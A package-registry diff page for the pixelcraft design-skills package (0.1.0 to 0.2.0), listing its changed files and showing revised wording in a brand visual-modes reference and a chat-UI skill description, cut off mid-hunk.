@thanhnguyxn/pixelcraft 0.1.0 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (376) hide show
  1. package/.agents/plugins/marketplace.json +1 -1
  2. package/.antigravity-plugin/plugin.json +32 -0
  3. package/.claude-plugin/marketplace.json +1 -1
  4. package/.claude-plugin/plugin.json +15 -4
  5. package/.codex-plugin/plugin.json +45 -0
  6. package/.cursor-plugin/marketplace.json +17 -0
  7. package/.cursor-plugin/plugin.json +27 -0
  8. package/.devin-plugin/plugin.json +21 -0
  9. package/.github/plugin/marketplace.json +34 -0
  10. package/CHANGELOG.md +159 -0
  11. package/GEMINI.md +1 -0
  12. package/README.md +185 -328
  13. package/SECURITY.md +28 -0
  14. package/assets/pixelcraft-logo-128.png +0 -0
  15. package/assets/pixelcraft-logo-256.png +0 -0
  16. package/bin/pixelcraft.mjs +431 -23
  17. package/docs/ARCHITECTURE.md +40 -37
  18. package/docs/DESIGN-RATIONALE.md +51 -3
  19. package/docs/INSTALL.md +221 -0
  20. package/evals/README.md +16 -6
  21. package/evals/fixtures/3d-web-engineering.json +69 -0
  22. package/evals/fixtures/acceptance-checklist-rule03-gate.json +43 -0
  23. package/evals/fixtures/ai-ui-libraries.json +53 -0
  24. package/evals/fixtures/audio-visual-accessibility.json +69 -0
  25. package/evals/fixtures/auth-and-checkout-ui.json +53 -0
  26. package/evals/fixtures/brandkit-identity-governance.json +48 -0
  27. package/evals/fixtures/build-and-architecture.json +53 -0
  28. package/evals/fixtures/canvas-and-node-editors.json +53 -0
  29. package/evals/fixtures/chat-ai-exfiltration-ime-hitl-gate.json +43 -0
  30. package/evals/fixtures/completion-gate-scan-until-clean.json +44 -0
  31. package/evals/fixtures/component-systems.json +53 -0
  32. package/evals/fixtures/component-testing.json +53 -0
  33. package/evals/fixtures/constrained-voice-and-tv.json +43 -0
  34. package/evals/fixtures/creative-code-rendering.json +69 -0
  35. package/evals/fixtures/creative-reference-evidence.json +67 -0
  36. package/evals/fixtures/data-app-python-marimo.json +49 -0
  37. package/evals/fixtures/desktop-cpp-juce-audio.json +49 -0
  38. package/evals/fixtures/desktop-csharp-avalonia.json +49 -0
  39. package/evals/fixtures/desktop-native-workspace.json +48 -0
  40. package/evals/fixtures/desktop-python-anti-tkinter.json +49 -0
  41. package/evals/fixtures/document-prepress-pdfx4-tounicode.json +43 -0
  42. package/evals/fixtures/document-rust-typst-invoice.json +49 -0
  43. package/evals/fixtures/document-typst-and-print-css.json +43 -0
  44. package/evals/fixtures/email-mjml-dark-mode.json +49 -0
  45. package/evals/fixtures/email-outlook-and-plaintext.json +43 -0
  46. package/evals/fixtures/enterprise-data-ui.json +53 -0
  47. package/evals/fixtures/extended-tui-toolkits.json +53 -0
  48. package/evals/fixtures/extensions-mv3-and-vscode.json +43 -0
  49. package/evals/fixtures/file-upload-media-ui.json +53 -0
  50. package/evals/fixtures/forms-validation.json +53 -0
  51. package/evals/fixtures/game-go-ebitengine.json +49 -0
  52. package/evals/fixtures/game-godot-gdscript.json +49 -0
  53. package/evals/fixtures/game-ui-hud-and-engines.json +43 -0
  54. package/evals/fixtures/i18n-engineering.json +53 -0
  55. package/evals/fixtures/local-first-sync.json +53 -0
  56. package/evals/fixtures/lynxjs.json +53 -0
  57. package/evals/fixtures/maizzle-email.json +53 -0
  58. package/evals/fixtures/maps-geospatial.json +53 -0
  59. package/evals/fixtures/media-og-and-video-export.json +43 -0
  60. package/evals/fixtures/media-players.json +53 -0
  61. package/evals/fixtures/mobile-compose-16kb-foldable-store-gate.json +44 -0
  62. package/evals/fixtures/mobile-elixir-liveview-native.json +49 -0
  63. package/evals/fixtures/mobile-flutter-dynamic-type.json +49 -0
  64. package/evals/fixtures/mobile-harmonyos-arkui.json +49 -0
  65. package/evals/fixtures/mobile-jetpack-compose.json +49 -0
  66. package/evals/fixtures/mobile-swiftui-ios.json +49 -0
  67. package/evals/fixtures/motion-engineering.json +69 -0
  68. package/evals/fixtures/pdfjs-and-pptx.json +53 -0
  69. package/evals/fixtures/plan-discovery-interview.json +31 -0
  70. package/evals/fixtures/plan-grill-me-brainstorm-gate.json +49 -0
  71. package/evals/fixtures/reactive-data-apps.json +53 -0
  72. package/evals/fixtures/review-evidence-audit.json +43 -0
  73. package/evals/fixtures/rich-text-and-code-editors.json +53 -0
  74. package/evals/fixtures/scrollytelling-resilience.json +70 -0
  75. package/evals/fixtures/spatial-xr-comfort-and-platforms.json +43 -0
  76. package/evals/fixtures/state-architecture.json +53 -0
  77. package/evals/fixtures/styling-ecosystem.json +53 -0
  78. package/evals/fixtures/token-tooling.json +53 -0
  79. package/evals/fixtures/tui-go-bubbletea.json +49 -0
  80. package/evals/fixtures/tui-rust-ratatui-grapheme-paste-teardown.json +44 -0
  81. package/evals/fixtures/tui-rust-ratatui.json +49 -0
  82. package/evals/fixtures/ux-state-matrix-and-i18n.json +43 -0
  83. package/evals/fixtures/web-3d-engines.json +53 -0
  84. package/evals/fixtures/web-php-laravel-filament.json +49 -0
  85. package/evals/fixtures/web-ruby-viewcomponent-phlex.json +49 -0
  86. package/evals/pixelcraft-accessibility.md +17 -0
  87. package/evals/pixelcraft-craft.md +16 -0
  88. package/evals/pixelcraft-dataviz.md +3 -3
  89. package/evals/pixelcraft-direction.md +17 -0
  90. package/evals/pixelcraft-game-ui.md +3 -3
  91. package/evals/pixelcraft-mobile.md +3 -3
  92. package/evals/pixelcraft-patterns.md +16 -0
  93. package/evals/pixelcraft-plan.md +65 -3
  94. package/evals/pixelcraft-review.md +3 -3
  95. package/evals/pixelcraft-visual-qa.md +11 -5
  96. package/evals/pixelcraft-web.md +21 -3
  97. package/evals/pixelcraft.md +4 -4
  98. package/gemini-extension.json +3 -2
  99. package/install.ps1 +57 -11
  100. package/install.sh +82 -7
  101. package/package.json +32 -4
  102. package/plugin.json +6 -1
  103. package/scripts/build-adapters.mjs +11 -13
  104. package/scripts/run-evals.mjs +397 -0
  105. package/scripts/sync-docs.mjs +381 -0
  106. package/scripts/test-build-adapters.mjs +14 -1
  107. package/scripts/test-cross-platform-qa.mjs +359 -0
  108. package/scripts/test-distribution.mjs +86 -7
  109. package/scripts/test-export-tokens.mjs +259 -3
  110. package/scripts/test-finish-gate.mjs +133 -10
  111. package/scripts/test-installers.mjs +155 -6
  112. package/scripts/test-shoot.mjs +23 -1
  113. package/scripts/test-slop-scan.mjs +390 -3
  114. package/scripts/test-style-inventory.mjs +23 -0
  115. package/scripts/test-sync-docs.mjs +140 -0
  116. package/scripts/test-validate-skills.mjs +82 -4
  117. package/scripts/validate-skills.mjs +149 -3
  118. package/skills/pixelcraft/SKILL.md +67 -47
  119. package/skills/pixelcraft/references/design-brief.md +2 -2
  120. package/skills/pixelcraft/references/floor.md +36 -19
  121. package/skills/pixelcraft/references/report-template.md +25 -11
  122. package/skills/pixelcraft/references/stack-detection.md +138 -67
  123. package/skills/pixelcraft/references/surface-acceptance.md +33 -21
  124. package/skills/pixelcraft/references/workflow-checkpoints.md +49 -7
  125. package/skills/pixelcraft-accessibility/SKILL.md +34 -13
  126. package/skills/pixelcraft-accessibility/references/apg-patterns.md +13 -0
  127. package/skills/pixelcraft-accessibility/references/motion-canvas.md +57 -0
  128. package/skills/pixelcraft-accessibility/references/platforms.md +34 -6
  129. package/skills/pixelcraft-accessibility/references/verification.md +15 -10
  130. package/skills/pixelcraft-accessibility/references/wcag22-checks.md +38 -5
  131. package/skills/pixelcraft-brandkit/SKILL.md +42 -30
  132. package/skills/pixelcraft-brandkit/references/asset-pipeline.md +90 -50
  133. package/skills/pixelcraft-brandkit/references/brand-governance.md +29 -27
  134. package/skills/pixelcraft-brandkit/references/logo-methods.md +33 -34
  135. package/skills/pixelcraft-brandkit/references/prompt-template.md +53 -51
  136. package/skills/pixelcraft-brandkit/references/qa-checklist.md +7 -2
  137. package/skills/pixelcraft-brandkit/references/visual-modes.md +16 -16
  138. package/skills/pixelcraft-chat-ui/SKILL.md +31 -27
  139. package/skills/pixelcraft-chat-ui/references/agentic-workspace.md +66 -0
  140. package/skills/pixelcraft-chat-ui/references/ai-ui-libraries.md +259 -0
  141. package/skills/pixelcraft-chat-ui/references/conversation-design.md +12 -6
  142. package/skills/pixelcraft-chat-ui/references/mobile-business-platforms.md +58 -68
  143. package/skills/pixelcraft-chat-ui/references/slack-discord.md +60 -76
  144. package/skills/pixelcraft-constrained/SKILL.md +21 -20
  145. package/skills/pixelcraft-constrained/references/specialized-hardware.md +69 -45
  146. package/skills/pixelcraft-constrained/references/tv-wearables.md +123 -73
  147. package/skills/pixelcraft-constrained/references/voice-ui.md +86 -45
  148. package/skills/pixelcraft-craft/SKILL.md +29 -15
  149. package/skills/pixelcraft-craft/references/color.md +62 -6
  150. package/skills/pixelcraft-craft/references/layout.md +32 -0
  151. package/skills/pixelcraft-craft/references/motion.md +99 -12
  152. package/skills/pixelcraft-craft/references/typography.md +48 -9
  153. package/skills/pixelcraft-data-apps/SKILL.md +50 -31
  154. package/skills/pixelcraft-data-apps/references/ai-and-internal-data-apps.md +147 -0
  155. package/skills/pixelcraft-data-apps/references/dash.md +87 -31
  156. package/skills/pixelcraft-data-apps/references/evidence.md +41 -26
  157. package/skills/pixelcraft-data-apps/references/gradio.md +65 -27
  158. package/skills/pixelcraft-data-apps/references/julia-genie.md +64 -29
  159. package/skills/pixelcraft-data-apps/references/jupyter-widgets.md +65 -27
  160. package/skills/pixelcraft-data-apps/references/nicegui.md +73 -34
  161. package/skills/pixelcraft-data-apps/references/observable-framework.md +65 -27
  162. package/skills/pixelcraft-data-apps/references/panel.md +69 -23
  163. package/skills/pixelcraft-data-apps/references/r-shiny.md +104 -34
  164. package/skills/pixelcraft-data-apps/references/reactive-data-apps.md +186 -0
  165. package/skills/pixelcraft-data-apps/references/reflex.md +85 -31
  166. package/skills/pixelcraft-data-apps/references/shiny.md +84 -27
  167. package/skills/pixelcraft-data-apps/references/streamlit.md +73 -25
  168. package/skills/pixelcraft-dataviz/SKILL.md +21 -24
  169. package/skills/pixelcraft-dataviz/references/color-accessibility.md +2 -2
  170. package/skills/pixelcraft-dataviz/references/encoding-tables-dashboards.md +35 -25
  171. package/skills/pixelcraft-dataviz/references/libraries.md +165 -46
  172. package/skills/pixelcraft-dataviz/references/maps-geospatial.md +159 -0
  173. package/skills/pixelcraft-dataviz/references/realtime-graphs-maps-scale.md +58 -65
  174. package/skills/pixelcraft-desktop/SKILL.md +61 -39
  175. package/skills/pixelcraft-desktop/references/appkit.md +60 -26
  176. package/skills/pixelcraft-desktop/references/avalonia.md +65 -29
  177. package/skills/pixelcraft-desktop/references/cpp-gui.md +104 -27
  178. package/skills/pixelcraft-desktop/references/electron.md +68 -26
  179. package/skills/pixelcraft-desktop/references/go-gui.md +59 -30
  180. package/skills/pixelcraft-desktop/references/gtk.md +74 -31
  181. package/skills/pixelcraft-desktop/references/javafx-swing.md +54 -25
  182. package/skills/pixelcraft-desktop/references/qt-pyside-qml.md +57 -30
  183. package/skills/pixelcraft-desktop/references/rust-gui.md +59 -41
  184. package/skills/pixelcraft-desktop/references/tauri.md +80 -24
  185. package/skills/pixelcraft-desktop/references/uno-platform.md +42 -23
  186. package/skills/pixelcraft-desktop/references/winui-wpf.md +66 -26
  187. package/skills/pixelcraft-desktop/references/working-context.md +82 -3
  188. package/skills/pixelcraft-direction/SKILL.md +48 -82
  189. package/skills/pixelcraft-direction/references/creative-brainstorming.md +72 -0
  190. package/skills/pixelcraft-direction/references/direction-card.md +11 -1
  191. package/skills/pixelcraft-direction/references/direction-scoring.md +5 -1
  192. package/skills/pixelcraft-direction/references/motion-identity.md +67 -0
  193. package/skills/pixelcraft-direction/references/movements.md +3 -0
  194. package/skills/pixelcraft-direction/references/reference-analysis.md +37 -0
  195. package/skills/pixelcraft-direction/references/slop-fingerprints.md +32 -7
  196. package/skills/pixelcraft-document/SKILL.md +27 -23
  197. package/skills/pixelcraft-document/references/archetypes.md +27 -4
  198. package/skills/pixelcraft-document/references/pdf-tools.md +241 -81
  199. package/skills/pixelcraft-document/references/pdfjs-and-pptx.md +114 -0
  200. package/skills/pixelcraft-document/references/print-css.md +96 -43
  201. package/skills/pixelcraft-document/references/slides.md +123 -27
  202. package/skills/pixelcraft-email/SKILL.md +42 -20
  203. package/skills/pixelcraft-email/references/client-quirks.md +101 -33
  204. package/skills/pixelcraft-email/references/html-tables.md +83 -22
  205. package/skills/pixelcraft-email/references/maizzle.md +54 -0
  206. package/skills/pixelcraft-email/references/mjml.md +13 -11
  207. package/skills/pixelcraft-email/references/react-email.md +76 -34
  208. package/skills/pixelcraft-extensions/SKILL.md +32 -27
  209. package/skills/pixelcraft-extensions/references/browser-extensions.md +91 -17
  210. package/skills/pixelcraft-extensions/references/figma-office.md +97 -14
  211. package/skills/pixelcraft-extensions/references/ide-and-saas-plugins.md +125 -0
  212. package/skills/pixelcraft-extensions/references/raycast.md +90 -11
  213. package/skills/pixelcraft-extensions/references/vscode-webviews.md +91 -17
  214. package/skills/pixelcraft-game-ui/SKILL.md +45 -26
  215. package/skills/pixelcraft-game-ui/references/bevy.md +69 -31
  216. package/skills/pixelcraft-game-ui/references/godot.md +100 -27
  217. package/skills/pixelcraft-game-ui/references/hud-principles.md +50 -21
  218. package/skills/pixelcraft-game-ui/references/love2d.md +53 -27
  219. package/skills/pixelcraft-game-ui/references/monogame.md +45 -29
  220. package/skills/pixelcraft-game-ui/references/unity-ugui.md +109 -0
  221. package/skills/pixelcraft-game-ui/references/unity-ui-toolkit.md +69 -27
  222. package/skills/pixelcraft-game-ui/references/unreal-umg.md +53 -26
  223. package/skills/pixelcraft-game-ui/references/web-and-middleware-game-ui.md +122 -0
  224. package/skills/pixelcraft-handoff/SKILL.md +14 -13
  225. package/skills/pixelcraft-handoff/references/design-translation.md +40 -10
  226. package/skills/pixelcraft-handoff/references/motion-handoff.md +54 -0
  227. package/skills/pixelcraft-media/SKILL.md +20 -23
  228. package/skills/pixelcraft-media/references/banners-video.md +83 -65
  229. package/skills/pixelcraft-media/references/og-generation.md +110 -63
  230. package/skills/pixelcraft-media/references/social-cards.md +57 -58
  231. package/skills/pixelcraft-mobile/SKILL.md +53 -36
  232. package/skills/pixelcraft-mobile/references/dotnet-maui.md +62 -34
  233. package/skills/pixelcraft-mobile/references/flet.md +53 -26
  234. package/skills/pixelcraft-mobile/references/flutter.md +76 -32
  235. package/skills/pixelcraft-mobile/references/harmonyos-and-emerging-mobile.md +121 -0
  236. package/skills/pixelcraft-mobile/references/ionic-capacitor.md +48 -26
  237. package/skills/pixelcraft-mobile/references/jetpack-compose.md +92 -24
  238. package/skills/pixelcraft-mobile/references/kivy.md +54 -31
  239. package/skills/pixelcraft-mobile/references/kotlin-multiplatform.md +53 -27
  240. package/skills/pixelcraft-mobile/references/lynxjs.md +110 -0
  241. package/skills/pixelcraft-mobile/references/nativescript-and-skip.md +91 -0
  242. package/skills/pixelcraft-mobile/references/react-native-expo.md +66 -31
  243. package/skills/pixelcraft-mobile/references/swiftui.md +158 -28
  244. package/skills/pixelcraft-mobile/references/tactile-interactions.md +55 -0
  245. package/skills/pixelcraft-mobile/references/task-state-composition.md +82 -2
  246. package/skills/pixelcraft-mobile/references/uikit.md +57 -23
  247. package/skills/pixelcraft-patterns/SKILL.md +30 -13
  248. package/skills/pixelcraft-patterns/references/accessibility-resilience.md +29 -0
  249. package/skills/pixelcraft-patterns/references/ai-and-offline-patterns.md +54 -0
  250. package/skills/pixelcraft-patterns/references/auth-onboarding.md +32 -13
  251. package/skills/pixelcraft-patterns/references/billing-paywalls.md +40 -0
  252. package/skills/pixelcraft-patterns/references/command-workspace.md +56 -0
  253. package/skills/pixelcraft-patterns/references/commerce.md +35 -16
  254. package/skills/pixelcraft-patterns/references/communication.md +34 -15
  255. package/skills/pixelcraft-patterns/references/creative-tools.md +30 -17
  256. package/skills/pixelcraft-patterns/references/creative-web-composition.md +38 -0
  257. package/skills/pixelcraft-patterns/references/dashboard-admin.md +22 -18
  258. package/skills/pixelcraft-patterns/references/history-diff-undo.md +50 -0
  259. package/skills/pixelcraft-patterns/references/marketing.md +31 -19
  260. package/skills/pixelcraft-patterns/references/multi-tenant-rbac.md +47 -0
  261. package/skills/pixelcraft-patterns/references/narrative-systems.md +42 -0
  262. package/skills/pixelcraft-patterns/references/notifications-activity.md +57 -0
  263. package/skills/pixelcraft-patterns/references/pattern-selection.md +8 -2
  264. package/skills/pixelcraft-patterns/references/scheduling-kanban.md +47 -0
  265. package/skills/pixelcraft-patterns/references/scroll-implementation.md +37 -0
  266. package/skills/pixelcraft-patterns/references/settings.md +40 -12
  267. package/skills/pixelcraft-plan/SKILL.md +54 -18
  268. package/skills/pixelcraft-plan/references/discovery-interview.md +110 -0
  269. package/skills/pixelcraft-plan/references/grill-me-protocol.md +63 -0
  270. package/skills/pixelcraft-plan/references/plan-template.md +44 -9
  271. package/skills/pixelcraft-plan/references/repo-discovery.md +16 -9
  272. package/skills/pixelcraft-plan/references/stack-freshness.md +22 -5
  273. package/skills/pixelcraft-plan/references/stack-selection.md +65 -9
  274. package/skills/pixelcraft-review/SKILL.md +41 -19
  275. package/skills/pixelcraft-review/references/audit-report.md +20 -1
  276. package/skills/pixelcraft-review/references/heuristics.md +63 -18
  277. package/skills/pixelcraft-review/references/personas.md +41 -14
  278. package/skills/pixelcraft-review/references/polish.md +66 -26
  279. package/skills/pixelcraft-review/scripts/check-acceptance.mjs +619 -0
  280. package/skills/pixelcraft-review/scripts/fixtures/focus-longhand-removal.css +34 -0
  281. package/skills/pixelcraft-review/scripts/slop-scan.mjs +679 -32
  282. package/skills/pixelcraft-spatial/SKILL.md +16 -17
  283. package/skills/pixelcraft-spatial/references/comfort-accessibility.md +25 -84
  284. package/skills/pixelcraft-spatial/references/platforms.md +123 -53
  285. package/skills/pixelcraft-tokens/SKILL.md +18 -14
  286. package/skills/pixelcraft-tokens/assets/tokens.example.json +1 -1
  287. package/skills/pixelcraft-tokens/assets/tokens.modes.example.json +1 -1
  288. package/skills/pixelcraft-tokens/references/format.md +39 -9
  289. package/skills/pixelcraft-tokens/references/governance.md +1 -1
  290. package/skills/pixelcraft-tokens/references/theme-presets.md +36 -8
  291. package/skills/pixelcraft-tokens/references/token-tooling.md +119 -0
  292. package/skills/pixelcraft-tokens/scripts/export-tokens.mjs +637 -75
  293. package/skills/pixelcraft-tui/SKILL.md +41 -25
  294. package/skills/pixelcraft-tui/references/bubbletea-lipgloss.md +49 -30
  295. package/skills/pixelcraft-tui/references/extended-tui-toolkits.md +127 -0
  296. package/skills/pixelcraft-tui/references/ink.md +77 -28
  297. package/skills/pixelcraft-tui/references/ratatui.md +70 -30
  298. package/skills/pixelcraft-tui/references/rich.md +53 -33
  299. package/skills/pixelcraft-tui/references/terminal-protocols.md +80 -0
  300. package/skills/pixelcraft-tui/references/textual.md +75 -34
  301. package/skills/pixelcraft-ux/SKILL.md +22 -12
  302. package/skills/pixelcraft-ux/references/feedback-performance.md +39 -19
  303. package/skills/pixelcraft-ux/references/forms.md +57 -3
  304. package/skills/pixelcraft-ux/references/i18n.md +50 -12
  305. package/skills/pixelcraft-ux/references/laws.md +35 -14
  306. package/skills/pixelcraft-ux/references/state-matrix.md +15 -1
  307. package/skills/pixelcraft-ux/references/ux-writing.md +1 -0
  308. package/skills/pixelcraft-visual-qa/SKILL.md +21 -7
  309. package/skills/pixelcraft-visual-qa/references/capture-desktop-game.md +28 -7
  310. package/skills/pixelcraft-visual-qa/references/capture-document.md +70 -0
  311. package/skills/pixelcraft-visual-qa/references/capture-email.md +13 -9
  312. package/skills/pixelcraft-visual-qa/references/capture-mobile.md +20 -5
  313. package/skills/pixelcraft-visual-qa/references/capture-terminal.md +6 -2
  314. package/skills/pixelcraft-visual-qa/references/motion-capture.md +63 -0
  315. package/skills/pixelcraft-visual-qa/references/performance-budgets.md +25 -12
  316. package/skills/pixelcraft-visual-qa/references/realtime-graphics.md +55 -0
  317. package/skills/pixelcraft-visual-qa/scripts/check-contrast.mjs +442 -0
  318. package/skills/pixelcraft-visual-qa/scripts/check-email.mjs +397 -0
  319. package/skills/pixelcraft-visual-qa/scripts/check-pdf.mjs +189 -0
  320. package/skills/pixelcraft-visual-qa/scripts/check-tui.mjs +321 -0
  321. package/skills/pixelcraft-visual-qa/scripts/finish-gate.mjs +50 -11
  322. package/skills/pixelcraft-visual-qa/scripts/shoot.mjs +214 -59
  323. package/skills/pixelcraft-visual-qa/scripts/style-inventory.mjs +121 -49
  324. package/skills/pixelcraft-web/SKILL.md +105 -49
  325. package/skills/pixelcraft-web/references/accessibility-performance.md +42 -0
  326. package/skills/pixelcraft-web/references/adaptive-layout.md +52 -8
  327. package/skills/pixelcraft-web/references/angular.md +63 -16
  328. package/skills/pixelcraft-web/references/assets-pipeline.md +67 -0
  329. package/skills/pixelcraft-web/references/astro.md +64 -13
  330. package/skills/pixelcraft-web/references/audio-reactive.md +61 -0
  331. package/skills/pixelcraft-web/references/auth-and-checkout-ui.md +115 -0
  332. package/skills/pixelcraft-web/references/build-and-architecture.md +215 -0
  333. package/skills/pixelcraft-web/references/canvas-and-node-editors.md +157 -0
  334. package/skills/pixelcraft-web/references/clojurescript.md +52 -17
  335. package/skills/pixelcraft-web/references/component-systems.md +102 -0
  336. package/skills/pixelcraft-web/references/component-testing.md +170 -0
  337. package/skills/pixelcraft-web/references/creative-effects.md +59 -0
  338. package/skills/pixelcraft-web/references/creative-runtime.md +34 -0
  339. package/skills/pixelcraft-web/references/enterprise-data-ui.md +138 -0
  340. package/skills/pixelcraft-web/references/file-upload-media-ui.md +82 -0
  341. package/skills/pixelcraft-web/references/forms-validation.md +123 -0
  342. package/skills/pixelcraft-web/references/fsharp-fable.md +3 -2
  343. package/skills/pixelcraft-web/references/gsap.md +102 -0
  344. package/skills/pixelcraft-web/references/html-css.md +144 -12
  345. package/skills/pixelcraft-web/references/htmx-alpine.md +68 -18
  346. package/skills/pixelcraft-web/references/i18n-engineering.md +106 -0
  347. package/skills/pixelcraft-web/references/interaction-and-search-primitives.md +196 -0
  348. package/skills/pixelcraft-web/references/java-web.md +27 -18
  349. package/skills/pixelcraft-web/references/kotlin-web.md +6 -2
  350. package/skills/pixelcraft-web/references/leptos-yew.md +62 -19
  351. package/skills/pixelcraft-web/references/lit-web-components.md +4 -2
  352. package/skills/pixelcraft-web/references/local-first-sync.md +105 -0
  353. package/skills/pixelcraft-web/references/media-players.md +104 -0
  354. package/skills/pixelcraft-web/references/motion-react.md +96 -0
  355. package/skills/pixelcraft-web/references/motion-recipes.md +82 -0
  356. package/skills/pixelcraft-web/references/preact-fresh-hono.md +111 -0
  357. package/skills/pixelcraft-web/references/pwa.md +6 -1
  358. package/skills/pixelcraft-web/references/qwik.md +51 -11
  359. package/skills/pixelcraft-web/references/r3f-integration.md +69 -0
  360. package/skills/pixelcraft-web/references/react-next.md +112 -13
  361. package/skills/pixelcraft-web/references/rendering-choice.md +63 -0
  362. package/skills/pixelcraft-web/references/rendering-performance.md +80 -0
  363. package/skills/pixelcraft-web/references/rich-text-and-code-editors.md +220 -0
  364. package/skills/pixelcraft-web/references/rive-lottie.md +73 -0
  365. package/skills/pixelcraft-web/references/scene-architecture.md +132 -0
  366. package/skills/pixelcraft-web/references/server-rendered.md +106 -63
  367. package/skills/pixelcraft-web/references/shader-workflow.md +77 -0
  368. package/skills/pixelcraft-web/references/smooth-scroll.md +58 -0
  369. package/skills/pixelcraft-web/references/solid.md +67 -16
  370. package/skills/pixelcraft-web/references/state-architecture.md +107 -0
  371. package/skills/pixelcraft-web/references/styling-ecosystem.md +273 -0
  372. package/skills/pixelcraft-web/references/svelte.md +61 -11
  373. package/skills/pixelcraft-web/references/tailwind.md +40 -14
  374. package/skills/pixelcraft-web/references/video-media.md +69 -0
  375. package/skills/pixelcraft-web/references/vue-nuxt.md +37 -13
  376. package/skills/pixelcraft-web/references/web-3d-engines.md +97 -0
@@ -8,7 +8,7 @@ Choose a mode from strategy, category, audience, emotional promise, and trust re
8
8
 
9
9
  **Visual cues:** near-black panels; monospace accents; command lines; terminal windows; prompt bars; subtle grid; cyan, blue, coral, or lime accents; pixel/CRT texture when appropriate.
10
10
 
11
- **Logo logic:** cursor + frame; bolt + build speed; scaffold + monogram; terminal glyph + symbol; modular construction mark.
11
+ **Logo logic:** cursor + frame; modular bracket + joint; scaffold + monogram; terminal glyph + symbol; structural grid mark.
12
12
 
13
13
  **Mood:** precise, sharp, confident, builder-native.
14
14
 
@@ -16,17 +16,17 @@ Choose a mode from strategy, category, audience, emotional promise, and trust re
16
16
 
17
17
  **Use for:** business tools, growth tools, sales agents, automation, productivity.
18
18
 
19
- **Visual cues:** black/dark red/amber; glowing UI chips; card systems; segmented flows; icon rows; reward/progress motifs; minimal hero text.
19
+ **Visual cues:** charcoal/obsidian base with restrained crimson, amber, or cobalt signal accents; crisp UI chips; segmented flows; icon rows; progress motifs; sparse display type.
20
20
 
21
- **Logo logic:** signal, gift, path, operator mark, switch, loop, command system.
21
+ **Logo logic:** signal, path, operator mark, switch, loop, modular command mark.
22
22
 
23
- **Mood:** fast, operational, tactical, premium.
23
+ **Mood:** fast, operational, tactical, disciplined.
24
24
 
25
25
  ## 3. Dark Nature / Calm System
26
26
 
27
- **Use for:** strategy, travel, wellness, climate, quiet premium SaaS.
27
+ **Use for:** strategy, travel, wellness, climate, quiet operational SaaS.
28
28
 
29
- **Visual cues:** deep green; lime accent; misty landscapes; image/UI circles; soft overlays; calm page labels; dark editorial grid.
29
+ **Visual cues:** deep forest or slate green; lime or warm sand accent; atmospheric landscapes; calm page labels; dark editorial grid.
30
30
 
31
31
  **Logo logic:** path, leaf, moon, horizon, compass, portal, folded mark.
32
32
 
@@ -36,9 +36,9 @@ Choose a mode from strategy, category, audience, emotional promise, and trust re
36
36
 
37
37
  **Use for:** security, compliance, monitoring, network products.
38
38
 
39
- **Visual cues:** black/navy; shield forms; radar lines; threat labels; subtle motion traces; red/blue alert chips; controlled gradients.
39
+ **Visual cues:** black/navy; shield forms; radar lines; threat labels; subtle motion traces; red/blue alert chips; controlled tonal contrast.
40
40
 
41
- **Logo logic:** shield, raptor, eye, watch, boundary, protected core.
41
+ **Logo logic:** shield, boundary, watch reticle, protected core, locked seam.
42
42
 
43
43
  **Mood:** serious, vigilant, precise.
44
44
 
@@ -46,31 +46,31 @@ Choose a mode from strategy, category, audience, emotional promise, and trust re
46
46
 
47
47
  **Use for:** legal, privacy, compliance, documents, trust brands.
48
48
 
49
- **Visual cues:** warm ivory; paper texture; small serif labels; seals/badges; color wheel/palette object; calm stationery; deep blue, red, gold accents.
49
+ **Visual cues:** warm ivory; paper texture; small serif labels; seals/badges; calm stationery; deep blue, crimson, or ochre accents.
50
50
 
51
- **Logo logic:** seal, dog, shield, document, stamp, monogram.
51
+ **Logo logic:** seal, verification stamp, folded document, architectural pillar, monogram.
52
52
 
53
53
  **Mood:** trustworthy, refined, institutional but modern.
54
54
 
55
55
  ## 6. Luxury / Beauty / Fashion
56
56
 
57
- **Use for:** beauty, fashion, hospitality, premium services.
57
+ **Use for:** beauty, fashion, hospitality, craft goods.
58
58
 
59
- **Visual cues:** ivory/stone/espresso; serif wordmark; elegant monogram; paper grain; embossing; product labels; editorial crops; soft shadows.
59
+ **Visual cues:** ivory/stone/espresso; serif wordmark; sculpted monogram; paper grain; blind emboss; product labels; editorial crops; soft directional light.
60
60
 
61
61
  **Logo logic:** monogram, seal, petal, vessel, ritual object, refined typographic mark.
62
62
 
63
- **Mood:** tasteful, adult, expensive.
63
+ **Mood:** restrained, tactile, editorial.
64
64
 
65
65
  ## 7. Voice / Communication
66
66
 
67
67
  **Use for:** voice AI, chat, assistants, speech, audio.
68
68
 
69
- **Visual cues:** dark indigo; lilac glow; waveform; mic motif; phone crop; command input; app icon.
69
+ **Visual cues:** matte graphite or warm acoustic off-white; signal vermilion, amber, or cobalt metering accent; precision oscillograph bars; perforated speaker/grille grid; phone or recorder crop; command input; app icon.
70
70
 
71
- **Logo logic:** wave + initial; sound orb; speech path; microphone abstraction; pulse ring.
71
+ **Logo logic:** wave + initial; acoustic slit; speech path; directional mic aperture; resonant bar mark.
72
72
 
73
- **Mood:** fluid, intelligent, intimate.
73
+ **Mood:** fluid, clear, intimate.
74
74
 
75
75
  ## 8. Cultural / Experimental
76
76
 
@@ -1,6 +1,6 @@
1
1
  ---
2
2
  name: pixelcraft-chat-ui
3
- description: Designs and verifies conversational and messaging-platform interfaces across Slack Block Kit, Discord components/embeds/modals, Telegram bots and Mini Apps, Zalo Mini Apps/ZaUI, WhatsApp interactive messages, and Microsoft Teams Adaptive Cards. Use for bot responses, chat cards, keyboards, modals, interactive buttons/selects/lists, messaging mini apps, chat-safe formatting, conversation flows, ephemeral versus persistent state, fallback text, messaging accessibility, and platform payload-limit compliance.
3
+ description: Designs and verifies conversational interfaces across two tracks—(A) host-constrained messaging platforms and mini apps (Slack Block Kit/AI Assistants, Discord Components V2/Activities, Telegram Bots/Mini Apps, Zalo Mini Apps/ZNS, WhatsApp Interactive Messages/Flows, Microsoft Teams Adaptive Cards/AI Library, LINE LIFF/Flex Messages, WeChat Mini Program) and (B) app-owned AI and agentic chat workspaces (Vercel AI SDK UI, assistant-ui, CopilotKit v2, AG-UI, MCP Apps/MCP-UI, OpenAI Apps SDK, Google A2UI, LangGraph useStream, streaming traces, branching, split artifacts, and approval gates).
4
4
  license: MIT
5
5
  metadata:
6
6
  version: 0.1.0
@@ -8,46 +8,50 @@ metadata:
8
8
 
9
9
  # Pixelcraft chat UI
10
10
 
11
